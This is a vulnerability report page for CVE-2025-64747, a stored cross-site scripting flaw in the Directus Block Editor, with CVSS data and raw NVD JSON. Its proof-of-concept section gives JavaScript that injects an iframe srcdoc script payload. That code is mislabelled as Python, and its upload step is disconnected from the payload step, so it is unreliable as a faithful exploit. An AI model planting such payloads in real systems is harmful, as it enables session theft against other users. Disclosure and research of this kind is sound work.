Security Vulnerability Report
中文
CVE-2025-64747 CVSS 5.5 MEDIUM

CVE-2025-64747

Published: 2025-11-13 22:15:52
Last Modified: 2025-11-19 14:49:12

Description

Directus is a real-time API and App dashboard for managing SQL database content. A stored cross-site scripting (XSS) vulnerability exists in versions prior to 11.13.0 that allows users with `upload files` and `edit item` permissions to inject malicious JavaScript through the Block Editor interface. Attackers can bypass Content Security Policy (CSP) restrictions by combining file uploads with iframe srcdoc attributes, resulting in persistent XSS execution. Version 11.13.0 fixes the issue.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:monospace:directus:*:*:*:*:*:node.js:*:* - VULNERABLE
Directus < 11.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-64747 PoC - Stored XSS via Block Editor in Directus // Requires: upload files + edit item permissions // Step 1: Upload a file const uploadFile = async (file) => { const formData = new FormData(); formData.append('file', file); const response = await fetch('/files', { method: 'POST', headers: { 'Authorization': 'Bearer YOUR_TOKEN' }, body: formData }); return response.json(); }; // Step 2: Create item with malicious Block Editor content const createMaliciousItem = async () => { const maliciousPayload = { title: 'Test Item', content: { type: 'root', children: [ { type: 'html', html: '<iframe srcdoc="<script>alert(document.cookie)</script>">' } ] } }; const response = await fetch('/items/your_collection', { method: 'POST', headers: { 'Authorization': 'Bearer YOUR_TOKEN', 'Content-Type': 'application/json' }, body: JSON.stringify(maliciousPayload) }); return response.json(); }; // Step 3: When other users view the item, XSS executes // The iframe srcdoc bypasses CSP and executes JS in the context of the Directus origin

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64747", "sourceIdentifier": "[email protected]", "published": "2025-11-13T22:15:52.000", "lastModified": "2025-11-19T14:49:11.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Directus is a real-time API and App dashboard for managing SQL database content. A stored cross-site scripting (XSS) vulnerability exists in versions prior to 11.13.0 that allows users with `upload files` and `edit item` permissions to inject malicious JavaScript through the Block Editor interface. Attackers can bypass Content Security Policy (CSP) restrictions by combining file uploads with iframe srcdoc attributes, resulting in persistent XSS execution. Version 11.13.0 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:monospace:directus:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "11.13.0", "matchCriteriaId": "19DDC40E-F676-4824-A433-37CFBEDFEBDB"}]}]}], "references": [{"url": "https://github.com/directus/directus/commit/d23525317f0780f04aa1fe7a99171a358e43cb2e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/directus/directus/security/advisories/GHSA-vv2v-pw69-8crf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}